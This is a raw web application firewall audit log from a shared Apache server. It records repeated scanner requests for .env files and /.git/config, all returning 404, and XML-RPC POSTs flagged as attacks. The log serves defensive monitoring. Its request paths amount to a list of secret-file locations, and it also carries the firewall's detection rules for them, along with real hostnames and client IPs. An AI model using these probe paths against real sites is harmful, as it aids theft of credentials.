"www.mindscan.edu.in"] [uri "/:8443/site/.env"] [unique_id "aE8n-F2YlG5AqHgt0_Kn8gAAAAQ"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750018040149833 667959 (- - -) Stopwatch2: 1750018040149833 667959; combined=2132, p1=391, p2=1640, p3=0, p4=0, p5=101, sr=102, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --c7819d11-Z-- --25b99e61-A-- [16/Jun/2025:01:37:31.360788 +0530] aE8oAjwutQMQaeKIpO_Q4AAAAAg 185.177.72.210 43880 127.0.0.1 7081 --25b99e61-B-- GET /credentials/private/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --25b99e61-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=273c5e6999830a8b48f92e793a6588341750018051; expires=Sun, 15 Jun 2025 21:07:31 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --25b99e61-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/credentials/private/.env"] [unique_id "aE8oAjwutQMQaeKIpO_Q4AAAAAg"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750018050696128 664723 (- - -) Stopwatch2: 1750018050696128 664723; combined=1811, p1=441, p2=1289, p3=0, p4=0, p5=80, sr=123, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --25b99e61-Z-- --f3f77651-A-- [16/Jun/2025:01:37:32.357304 +0530] aE8oA4fvqn7_SDWw_wX6kgAAAAc 185.177.72.210 43928 127.0.0.1 7081 --f3f77651-B-- GET /settings/.env.test HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --f3f77651-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=b569e1457960c4b13f5a09d7b090844a1750018052; expires=Sun, 15 Jun 2025 21:07:32 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --f3f77651-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/settings/.env.test"] [unique_id "aE8oA4fvqn7_SDWw_wX6kgAAAAc"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750018051697483 659902 (- - -) Stopwatch2: 1750018051697483 659902; combined=2090, p1=435, p2=1458, p3=0, p4=0, p5=197, sr=100, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --f3f77651-Z-- --8331ec17-A-- [16/Jun/2025:01:37:34.440761 +0530] aE8oBT6fDirgE_qJvgHORAAAAAA 185.177.72.210 44026 127.0.0.1 7081 --8331ec17-B-- GET /:10000/web/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --8331ec17-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=73d5fce4d866a120df12d239aaa87aea1750018054; expires=Sun, 15 Jun 2025 21:07:34 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --8331ec17-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/:10000/web/.env"] [unique_id "aE8oBT6fDirgE_qJvgHORAAAAAA"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750018053773667 667198 (- - -) Stopwatch2: 1750018053773667 667198; combined=1972, p1=394, p2=1469, p3=0, p4=0, p5=108, sr=99, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --8331ec17-Z-- --fb6be33c-A-- [16/Jun/2025:01:37:37.105738 +0530] aE8oCHsalJN_0-_70dL0hwAAAAU 128.199.112.101 44128 127.0.0.1 7081 --fb6be33c-B-- POST //xmlrpc.php HTTP/1.0 Host: best-website-designs.com X-Real-IP: 128.199.112.101 X-Accel-Internal: /internal-nginx-static-location Connection: close Content-Length: 493 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36 Content-Type: application/xml --fb6be33c-F-- HTTP/1.1 200 OK X-Powered-By: PHP/8.3.22 Connection: close Vary: Accept-Encoding Content-Type: text/xml; charset=UTF-8 --fb6be33c-H-- Message: Warning. Operator EQ matched 0 at IP. [file "/etc/apache2/modsecurity.d/rules/comodo_free/30_Apps_OtherApps.conf"] [line "5956"] [id "240335"] [rev "5"] [msg "COMODO WAF: XML-RPC Attack Identified (CVE-2013-0235)|Source 128.199.112.101 (49+1 hits since last alert)|best-website-designs.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "OtherApps"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Operator EQ matched 0 at IP. [file "/etc/apache2/modsecurity.d/rules/comodo_free/30_Apps_OtherApps.conf"] [line "5956"] [id "240335"] [rev "5"] [msg "COMODO WAF: XML-RPC Attack Identified (CVE-2013-0235)|Source 128.199.112.101 (49+1 hits since last alert)|best-website-designs.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "OtherApps"] [hostname "best-website-designs.com"] [uri "/xmlrpc.php"] [unique_id "aE8oCHsalJN_0-_70dL0hwAAAAU"] Apache-Handler: proxy:unix:/var/www/vhosts/system/best-website-designs.com/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750018056125944 979851 (- - -) Stopwatch2: 1750018056125944 979851; combined=2230, p1=422, p2=1390, p3=43, p4=65, p5=192, sr=131, sw=118, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --fb6be33c-Z-- --83d62a11-A-- [16/Jun/2025:01:37:39.645827 +0530] aE8oCnsalJN_0-_70dL0iAAAAAU 185.177.72.210 44252 127.0.0.1 7081 --83d62a11-B-- GET /blog/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --83d62a11-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=3b31e15ca1482327a32b431ae170c3681750018059; expires=Sun, 15 Jun 2025 21:07:39 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --83d62a11-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/blog/.env"] [unique_id "aE8oCnsalJN_0-_70dL0iAAAAAU"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750018058904289 741630 (- - -) Stopwatch2: 1750018058904289 741630; combined=195846, p1=393, p2=1356, p3=0, p4=0, p5=97109, sr=94, sw=0, l=0, gc=96988 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --83d62a11-Z-- --9510ef30-A-- [16/Jun/2025:01:37:46.649387 +0530] aE8oEXsalJN_0-_70dL0iwAAAAU 185.177.72.210 40630 127.0.0.1 7081 --9510ef30-B-- GET /credentials/.env.local HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --9510ef30-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=b48aad03854443bf548f1c8ca81218e31750018066; expires=Sun, 15 Jun 2025 21:07:46 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --9510ef30-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/credentials/.env.local"] [unique_id "aE8oEXsalJN_0-_70dL0iwAAAAU"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750018065910602 738853 (- - -) Stopwatch2: 1750018065910602 738853; combined=1656, p1=358, p2=1202, p3=0, p4=0, p5=95, sr=83, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --9510ef30-Z-- --0aa04573-A-- [16/Jun/2025:01:37:49.563674 +0530] aE8oFD6fDirgE_qJvgHOSgAAAAA 138.199.60.11 40722 127.0.0.1 7081 --0aa04573-B-- GET /.git/config HTTP/1.0 Host: www.medikonindia.com X-Real-IP: 138.199.60.11 X-Accel-Internal: /internal-nginx-static-location Connection: close --0aa04573-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.medikonindia.com/wp-json/>; rel="https://api.w.org/" Connection: close Content-Type: text/html; charset=UTF-8 --0aa04573-H-- Message: Warning. Matched phrase "/.git/" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.medikonindia.com"] [uri "/.git/config"] [unique_id "aE8oFD6fDirgE_qJvgHOSgAAAAA"] Apache-Handler: proxy:unix:/var/www/vhosts/system/medikonindia.com/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750018068526892 1036855 (- - -) Stopwatch2: 1750018068526892 1036855; combined=1532, p1=355, p2=1084, p3=0, p4=0, p5=93, sr=83, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --0aa04573-Z-- --99a0e107-A-- [16/Jun/2025:01:38:05.519973 +0530] aE8oJD3D4g1mGjVnV5KLQgAAAAY 185.177.72.210 54532 127.0.0.1 7081 --99a0e107-B-- GET /:8888/conf/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --99a0e107-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=431478bbb72e75254fa3dc13bef522cc1750018085; expires=Sun, 15 Jun 2025 21:08:05 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --99a0e107-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/:8888/conf/.env"] [unique_id "aE8oJD3D4g1mGjVnV5KLQgAAAAY"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750018084806359 713711 (- - -) Stopwatch2: 1750018084806359 713711; combined=2509, p1=496, p2=1916, p3=0, p4=0, p5=97, sr=131, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --99a0e107-Z-- --f41d7140-A-- [16/Jun/2025:01:38:13.217334 +0530] aE8oLLSOi14Mt1Fv4_TAwQAAAAo 185.177.72.210 57018 127.0.0.1 7081 --f41d7140-B-- GET /konfig.old HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --f41d7140-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=9a3c87d7882a916ea98746140ebc16811750018093; expires=Sun, 15 Jun 2025 21:08:13 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --f41d7140-H-- Message: Warning. Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/etc/apache2/modsecurity.d/rules/comodo_free/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||www.mindscan.edu.in|F|2"] [data ".old"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/etc/apache2/modsecurity.d/rules/comodo_free/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||www.mindscan.edu.in|F|2"] [data ".old"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] [hostname "www.mindscan.edu.in"] [uri "/konfig.old"] [unique_id "aE8oLLSOi14Mt1Fv4_TAwQAAAAo"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750018092531495 685900 (- - -) Stopwatch2: 1750018092531495 685900; combined=2340, p1=468, p2=1784, p3=0, p4=0, p5=88, sr=121, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --f41d7140-Z-- --24872308-A-- [16/Jun/2025:01:38:14.239372 +0530] aE8oLT6fDirgE_qJvgHOVQAAAAA 185.177.72.210 57066 127.0.0.1 7081 --24872308-B-- GET /:8888/.env.dist HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --24872308-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=03e5be6d29d5352f6bf31988c44783f21750018094; expires=Sun, 15 Jun 2025 21:08:14 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --24872308-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/:8888/.env.dist"] [unique_id "aE8oLT6fDirgE_qJvgHOVQAAAAA"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750018093558926 680509 (- - -) Stopwatch2: 1750018093558926 680509; combined=1899, p1=371, p2=1425, p3=0, p4=0, p5=102, sr=96, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --24872308-Z-- --c8b37646-A-- [16/Jun/2025:01:38:26.364828 +0530] aE8oOT3D4g1mGjVnV5KLTAAAAAY 185.177.72.210 40354 127.0.0.1 7081 --c8b37646-B-- GET /protected/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --c8b37646-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=30a21d2cb62128e8e7ccdccffd2f5f841750018106; expires=Sun, 15 Jun 2025 21:08:26 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --c8b37646-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/protected/.env"] [unique_id "aE8oOT3D4g1mGjVnV5KLTAAAAAY"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750018105706341 658549 (- - -) Stopwatch2: 1750018105706341 658549; combined=2023, p1=374, p2=1547, p3=0, p4=0, p5=100, sr=88, sw=2, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --c8b37646-Z-- --e06ffc34-A-- [16/Jun/2025:01:38:37.115311 +0530] aE8oRBQKR3lSdoPAzil_aQAAAAk 185.177.72.210 41556 127.0.0.1 7081 --e06ffc34-B-- GET /back-end/app/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --e06ffc34-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=46b4e5ce51815c36f5fd1d59613d80651750018116; expires=Sun, 15 Jun 2025 21:08:36 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --e06ffc34-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/back-end/app/.env"] [unique_id "aE8oRBQKR3lSdoPAzil_aQAAAAk"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750018116441825 673549 (- - -) Stopwatch2: 1750018116441825 673549; combined=1964, p1=397, p2=1463, p3=0, p4=0, p5=104, sr=92, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --e06ffc34-Z-- --d2a13b58-A-- [16/Jun/2025:01:38:37.889408 +0530] aE8oRIfvqn7_SDWw_wX6sQAAAAc 128.199.112.101 41590 127.0.0.1 7081 --d2a13b58-B-- POST //xmlrpc.php HTTP/1.0 Host: best-website-designs.com X-Real-IP: 128.199.112.101 X-Accel-Internal: /internal-nginx-static-location Connection: close Content-Length: 492 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36 Content-Type: application/xml --d2a13b58-F-- HTTP/1.1 200 OK X-Powered-By: PHP/8.3.22 Connection: close Vary: Accept-Encoding Content-Type: text/xml; charset=UTF-8 --d2a13b58-H-- Message: Warning. Operator EQ matched 0 at IP. [file "/etc/apache2/modsecurity.d/rules/comodo_free/30_Apps_OtherApps.conf"] [line "5956"] [id "240335"] [rev "5"] [msg "COMODO WAF: XML-RPC Attack Identified (CVE-2013-0235)|Source 128.199.112.101 (50+1 hits since last alert)|best-website-designs.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "OtherApps"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Operator EQ matched 0 at IP. [file "/etc/apache2/modsecurity.d/rules/comodo_free/30_Apps_OtherApps.conf"] [line "5956"] [id "240335"] [rev "5"] [msg "COMODO WAF: XML-RPC Attack Identified (CVE-2013-0235)|Source 128.199.112.101 (50+1 hits since last alert)|best-website-designs.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "OtherApps"] [hostname "best-website-designs.com"] [uri "/xmlrpc.php"] [unique_id "aE8oRIfvqn7_SDWw_wX6sQAAAAc"] Apache-Handler: proxy:unix:/var/www/vhosts/system/best-website-designs.com/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750018116894209 995255 (- - -) Stopwatch2: 1750018116894209 995255; combined=2658, p1=401, p2=1790, p3=45, p4=67, p5=213, sr=95, sw=142, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --d2a13b58-Z-- --ada27178-A-- [16/Jun/2025:01:38:40.148289 +0530] aE8oRz3D4g1mGjVnV5KLVAAAAAY 185.177.72.210 49660 127.0.0.1 7081 --ada27178-B-- GET /:9000/tmp/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --ada27178-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=ec4ff205eeabb4561cfb1d2d64a9ee9c1750018119; expires=Sun, 15 Jun 2025 21:08:39 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --ada27178-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] 